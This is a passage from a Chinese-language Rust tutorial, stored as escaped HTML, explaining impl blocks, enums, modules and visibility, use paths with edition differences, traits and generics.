&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;等价于&lt;code&gt;struct U {}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;但会同时定义一个常量&lt;code&gt;const U: U = U {};&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在Struct上可以定义Method以及Function：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;impl A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; A method, invoked by a.meth()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn meth(&amp;amp;self) -&amp;gt; bool {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        true&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; A function, invoked by A::func()&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn func() -&amp;gt; bool {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        false&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;可以有多个&lt;code&gt;impl&lt;&#x2F;code&gt; Block&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;不加&lt;code&gt;self&lt;&#x2F;code&gt;参数则为Struct Function，也就是通常说的Static Method&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;加&lt;code&gt;self&lt;&#x2F;code&gt;参数则为Struct Method&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;self&lt;&#x2F;code&gt;相当于C++的&lt;code&gt;void f() const&lt;&#x2F;code&gt;成员函数&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;&amp;amp;mut self&lt;&#x2F;code&gt;相当于各语言中普通的成员函数&lt;&#x2F;li&gt;
&lt;li&gt;实际上可以使用&lt;code&gt;self&lt;&#x2F;code&gt;作为参数，这是其他语言没有的功能，一般用于调用method后不希望对象再被使用的情形&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;impl&lt;&#x2F;code&gt; Block内还可以定义Constant&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;再来看&lt;code&gt;enum&lt;&#x2F;code&gt;，这是一个Sum Type或者说Tagged Union：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;enum Animal {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Cat { name: String, weight: f64 },&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Dog(String, f64),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Horse = 100,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Sheep,&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;最后一项可以加逗号（可选）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;每一项（称为&lt;em&gt;Variant&lt;&#x2F;em&gt;）的声明实际上和Struct声明格式相同（除了没有&lt;code&gt;struct&lt;&#x2F;code&gt;关键字）&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;使用时通过&lt;code&gt;Animal::Cat { name: &quot;Kitty&quot;, weight: 1.5 }&lt;&#x2F;code&gt;的形式创建对象&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;除了不支持&lt;em&gt;struct update syntax&lt;&#x2F;em&gt;，其余与Struct初始化语法相同&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;可以通过&lt;code&gt;Variant = num&lt;&#x2F;code&gt;的形式为Variant指定编号（称为&lt;em&gt;Discrimination&lt;&#x2F;em&gt;），此后的项的编号从该编号开始依序增加&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;此处的编号即底层实现时用于区分Variant的Tag&lt;&#x2F;li&gt;
&lt;li&gt;目前只有当所有Variant都是&lt;em&gt;unit-like&lt;&#x2F;em&gt;时（即退化为C&#x2F;C++&#x2F;Java&#x2F;C#的enum时），才可以使用该特性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;没有Variant的Enum（&lt;code&gt;enum E {}&lt;&#x2F;code&gt;）本质上是空集，不能实例化&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Enum同样可以通过&lt;code&gt;impl&lt;&#x2F;code&gt;块定义Method、Function、Constant和Type Alias&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一个非常常用的Enum是&lt;code&gt;Option&amp;lt;T&amp;gt;&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;enum Option&amp;lt;T&amp;gt; {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    Some(T),&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    None&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;module-system-and-visibility&quot;&gt;Module System and Visibility&lt;&#x2F;h2&gt;
&lt;p&gt;从项目的组织上来看，顶层是&lt;em&gt;Package&lt;&#x2F;em&gt;，一个Package由若干&lt;em&gt;Crate&lt;&#x2F;em&gt;构成：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Package就是一个通过&lt;code&gt;cargo new&lt;&#x2F;code&gt;创建的包含&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;的项目&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;一个Package最多只能有一个&lt;em&gt;Library Crate&lt;&#x2F;em&gt;，但可以有任意多个&lt;em&gt;Binary Crate&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;cargo new&lt;&#x2F;code&gt;会默认创建&lt;code&gt;src&#x2F;main.rs&lt;&#x2F;code&gt;，这会被理解为一个与Package同名的Binary Crate的&lt;em&gt;Crate Root&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;进一步地，&lt;code&gt;src&#x2F;bin&#x2F;&lt;&#x2F;code&gt;目录下的每个文件都会被当做一个Binary Crate&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;若存在&lt;code&gt;src&#x2F;lib.rs&lt;&#x2F;code&gt;，则会被理解为一个与Package同名的Library Crate的&lt;em&gt;Crate Root&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;每个Crate就是一个完整的程序（Binary Crate）或库（Library Crate），它由一棵Module树构成，这棵树的根就位于&lt;em&gt;Crate Root&lt;&#x2F;em&gt;源文件，并且是隐式声明的，其名称为&lt;code&gt;crate&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以在&lt;em&gt;Crate Root&lt;&#x2F;em&gt;中嵌套地定义Module，注意Module和类型共享同一个namespace：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;mod a {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mod a1 {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fn f1() {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fn f2() {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mod a2 {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fn g1() {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fn g2() {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    struct B;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    &#x2F;&#x2F; Wrong! This wouldn&#x27;t compile.&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    mod B {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        fn h() {}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;我们可以通过&lt;em&gt;Path&lt;&#x2F;em&gt;访问Module及其中定义的&lt;em&gt;Item&lt;&#x2F;em&gt;（即函数、Struct、Enum、Trait、Constant等的定义），通过Path访问一个Item要求其Visibility是public的，关于Visibility的规则如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Rust中所有Item默认都是private的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;你可以通过&lt;code&gt;pub&lt;&#x2F;code&gt;将Item（Module也视为Item的一种）标记为public的，若你能访问其Parent Module，则你也能访问该Item&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;但Struct的Field、Method等需要单独标记为&lt;code&gt;pub&lt;&#x2F;code&gt;，否则即使Struct本身标记为&lt;code&gt;pub&lt;&#x2F;code&gt;也无法被外界访问&lt;&#x2F;li&gt;
&lt;li&gt;Enum的所有Variant，只要Enum本身是&lt;code&gt;pub&lt;&#x2F;code&gt;，就自动成为public的&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于private的Item，只有它所在的Module，以及该Module的Descendant可以访问&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;一个典型的例子是，一个Crate的顶层Module可以被该Crate中的所有代码使用，但它若是private的则不能被其他Crate使用&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;存在几个&lt;code&gt;pub&lt;&#x2F;code&gt;的变种：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;pub(in path)&lt;&#x2F;code&gt;，表示对&lt;code&gt;path&lt;&#x2F;code&gt;可见，&lt;code&gt;path&lt;&#x2F;code&gt;必须是当前Module或其祖先&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pub(crate)&lt;&#x2F;code&gt;，表示对整个Crate可见&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pub(super)&lt;&#x2F;code&gt;，表示对Parent Module可见&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pub(self)&lt;&#x2F;code&gt;，表示对当前Module可见&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在&lt;code&gt;pub(in path)&lt;&#x2F;code&gt;中的&lt;code&gt;path&lt;&#x2F;code&gt;，以及&lt;code&gt;use&lt;&#x2F;code&gt;语句（详下）中使用的Path，只能是&lt;em&gt;Simple Path&lt;&#x2F;em&gt;，其格式如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;形如&lt;code&gt;a::a1::f1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;以&lt;code&gt;::&lt;&#x2F;code&gt;开头表示Global Path，可以引用External Crate，例如&lt;code&gt;::rand::Rng&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;以&lt;code&gt;self&lt;&#x2F;code&gt;开头表示从当前Module开始&lt;&#x2F;li&gt;
&lt;li&gt;以&lt;code&gt;super&lt;&#x2F;code&gt;开头表示从当前Module的Parent开始，&lt;code&gt;super&lt;&#x2F;code&gt;出现在中间表示取Parent Module&lt;&#x2F;li&gt;
&lt;li&gt;以&lt;code&gt;crate&lt;&#x2F;code&gt;开头表示从当前Crate开始，注意&lt;code&gt;::crate&lt;&#x2F;code&gt;是无效路径&lt;&#x2F;li&gt;
&lt;li&gt;默认表示从当前Local Context开始&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Edition Difference:&lt;&#x2F;strong&gt;  在2018 Edition中，&lt;code&gt;::&lt;&#x2F;code&gt;路径下只有External Crate，而在2015 Edition中&lt;code&gt;::&lt;&#x2F;code&gt;路径下还包含当前Crate的顶层Item，以及&lt;code&gt;std&lt;&#x2F;code&gt;等默认引入的Item。&lt;&#x2F;p&gt;
&lt;p&gt;若声明Module时不指定定义，如&lt;code&gt;mod a;&lt;&#x2F;code&gt;，则会从同名文件&lt;code&gt;a.rs&lt;&#x2F;code&gt;查找该Module，源文件的路径和Module的Path吻合，例如&lt;code&gt;crate::a1&lt;&#x2F;code&gt;应当由&lt;code&gt;src&#x2F;a.rs&lt;&#x2F;code&gt;中的&lt;code&gt;mod a1;&lt;&#x2F;code&gt;声明，其对应源文件位于&lt;code&gt;src&#x2F;a&#x2F;a1.rs&lt;&#x2F;code&gt;。这样，我们只需为编译器提供Crate Root源文件，编译器即可自动查找到项目的所有文件并编译出库或可执行文件。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Edition Difference:&lt;&#x2F;strong&gt;  2015 Edition使用&lt;code&gt;src&#x2F;a&#x2F;mod.rs&lt;&#x2F;code&gt;来对应于&lt;code&gt;crate::a&lt;&#x2F;code&gt;，而不是&lt;code&gt;src&#x2F;a.rs&lt;&#x2F;code&gt;，目前仍支持这种用法但不鼓励，因为这样会在项目中产生很多&lt;code&gt;mod.rs&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;此外，我们可以通过&lt;code&gt;path&lt;&#x2F;code&gt;&lt;em&gt;Attribute&lt;&#x2F;em&gt;改变上述默认映射。对于顶层Module，若Attribute为&lt;code&gt;#[path = &quot;foo.rs&quot;]&lt;&#x2F;code&gt;，则Module对应的文件将是&lt;code&gt;foo.rs&lt;&#x2F;code&gt;，位于Module声明所在的源文件的同级目录下。对于Nested Module，则源文件要位于Parent对应的路径下。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以通过&lt;code&gt;use&lt;&#x2F;code&gt;语句引入别名：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;use crate::a1;&lt;&#x2F;code&gt;后，可以直接使用Module &lt;code&gt;a1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::f1&lt;&#x2F;code&gt;后，可以直接使用函数&lt;code&gt;f1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::self&lt;&#x2F;code&gt;也可以用于引入Module &lt;code&gt;a1&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::{self, f2}&lt;&#x2F;code&gt;支持用括号一次性引入多个Item，且可嵌套使用括号&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::*&lt;&#x2F;code&gt;引入&lt;code&gt;a1&lt;&#x2F;code&gt;中的所有Item&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::{f1 as g1, f2 as g2}&lt;&#x2F;code&gt;支持对引入的Item起别名（Alias)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;use crate::a1::f1 as _&lt;&#x2F;code&gt;可以引入Item的定义，但不绑定到任何Name，这对于引入Trait有时是有用的&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;pub use crate::a1::f1&lt;&#x2F;code&gt;，use语句引入的Item默认是private的，通过添加&lt;code&gt;pub&lt;&#x2F;code&gt;可以让外部也能访问引入的Item&lt;&#x2F;li&gt;
&lt;li&gt;use语句总是要以&lt;code&gt;crate&lt;&#x2F;code&gt;, &lt;code&gt;self&lt;&#x2F;code&gt;, &lt;code&gt;super&lt;&#x2F;code&gt;或&lt;code&gt;::&lt;&#x2F;code&gt;开头，除非是访问external crate&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Edition Difference:&lt;&#x2F;strong&gt;  在2015 Edition中，必须手动通过&lt;code&gt;extern crate xxx;&lt;&#x2F;code&gt;才能引入External Crate。这个操作实际上是将External Crate加入了Crate Root，因此通过&lt;code&gt;::ext_crate&lt;&#x2F;code&gt;或&lt;code&gt;crate::ext_crate&lt;&#x2F;code&gt;都可以访问External Crate。进一步地，只有在Crate Root的Context下才能通过&lt;code&gt;ext_crate::&lt;&#x2F;code&gt;引用External Crate，在内部的Module中就无法直接通过&lt;code&gt;ext_crate::&lt;&#x2F;code&gt;访问External Crate。&lt;&#x2F;p&gt;
&lt;p&gt;在2018 Edition中，&lt;code&gt;Cargo.toml&lt;&#x2F;code&gt;引入的External Crate会被特殊处理，不需要手动&lt;code&gt;extern crate&lt;&#x2F;code&gt;（因此也就不会加入到Crate Root，通过&lt;code&gt;crate::ext_crate&lt;&#x2F;code&gt;无法访问它们），且无论在什么Context都可以通过&lt;code&gt;ext_crate::&lt;&#x2F;code&gt;访问它们，这样比2015 Edition清晰且方便。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;&#x2F;strong&gt;  External crate的名称中可以出现hyphen&lt;code&gt;-&lt;&#x2F;code&gt;，但在Rust代码中使用时，必须把&lt;code&gt;-&lt;&#x2F;code&gt;替换成&lt;code&gt;_&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;parametric-polymorphism&quot;&gt;Parametric Polymorphism&lt;&#x2F;h2&gt;
&lt;p&gt;Rust中有&lt;em&gt;Trait&lt;&#x2F;em&gt;的概念，类似于其他语言的Interface：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;trait Trait {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn f(&amp;amp;self) -&amp;gt; i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn g(x: i32) -&amp;gt; i32;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;struct A { x: i32 }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;impl Trait for A {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fn f(&amp;amp;self) -&amp;gt; i32 {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        self.x&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Trait可以定义一系列接口，可以用&lt;code&gt;impl Trait for T&lt;&#x2F;code&gt;来实现接口，&lt;code&gt;Trait&lt;&#x2F;code&gt;和&lt;code&gt;T&lt;&#x2F;code&gt;必须至少有一个定义在当前Crate&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;可以为external crate的类型实现本地定义的Trait&lt;&#x2F;li&gt;
&lt;li&gt;可以为本地定义的类型实现external crate的Trait&lt;&#x2F;li&gt;
&lt;li&gt;但不能为external crate的类型实现external crate的Trait，这是为了防止使用上的混乱&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Trait可以提供Default Implementation&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;impl Trait&amp;lt;T&amp;gt; for A {}&lt;&#x2F;code&gt;将为&lt;code&gt;A&lt;&#x2F;code&gt;引入Default Implementation&lt;&#x2F;li&gt;
&lt;li&gt;Default Implementation可以引用同一个Trait中的抽象方法，在&lt;code&gt;impl&lt;&#x2F;code&gt;块中只需实现这些抽象方法即可&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实际上，Trait中可以声明Method、Function、Constant和Type Alias，其中只有Type Alias不能提供Default Implementation&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;type T;&lt;&#x2F;code&gt;（Type Alias Declaration）的作用是提供一个Placeholder，以便在Method中使用&lt;code&gt;T&lt;&#x2F;code&gt;。在具体的Trait Implementation中，可以为&lt;code&gt;T&lt;&#x2F;code&gt;提供Concrete Type&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;Edition Difference:&lt;&#x2F;strong&gt;  在2015 Edition中，允许Anonymous Parameter，例如在Trait中声明&lt;code&gt;fn f(i32) -&amp;gt; i32&lt;&#x2F;code&gt;，但在2018 Edition中取消了该功能，现在强制要求写出参数名&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;我们可以在不同的场合使用Type Parameter，Rust将其称为Generic：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;fn f&amp;lt;T&amp;gt;(a: &amp;amp;[T]) -&amp;gt; T {}&lt;&#x2F;code&gt;: 函数可以是Generic的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Generic函数不允许Specialization&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;struct Point&amp;lt;T&amp;gt; { x: T, y: T }&lt;&#x2F;code&gt;: Struct可以是Generic的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;enum Option&amp;lt;T&amp;gt; { Some(T), None }&lt;&#x2F;code&gt;: Enum可以是Generic的&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;impl&amp;lt;T&amp;gt; Point&amp;lt;T&amp;gt; { fn x(&amp;amp;self) -&amp;gt; &amp;amp;T { &amp;amp;self.x } }&lt;&#x2F;code&gt;: Method可以是Generic的&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若&lt;code&gt;impl&lt;&#x2F;code&gt;后面不加``，即&lt;code&gt;impl&amp;lt;T&amp;gt; Point&amp;lt;T&amp;gt; { fn x(&amp;amp;self) -&amp;gt; &amp;amp;T { &amp;amp;self.x } }&lt;&#x2F;code&gt;，则我们是在进行Specialization，而不是定义Generic Method，此时&lt;code&gt;T&lt;&#x2F;code&gt;应是一个Concrete Type&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;trait Trait&amp;lt;T&amp;gt; { fn f&amp;lt;U&amp;gt;(&amp;amp;self, u: U); }&lt;&#x2F;code&gt;: Trait可以是Generic的&lt;&#x2F;p&gt;
&lt;ul&gt;
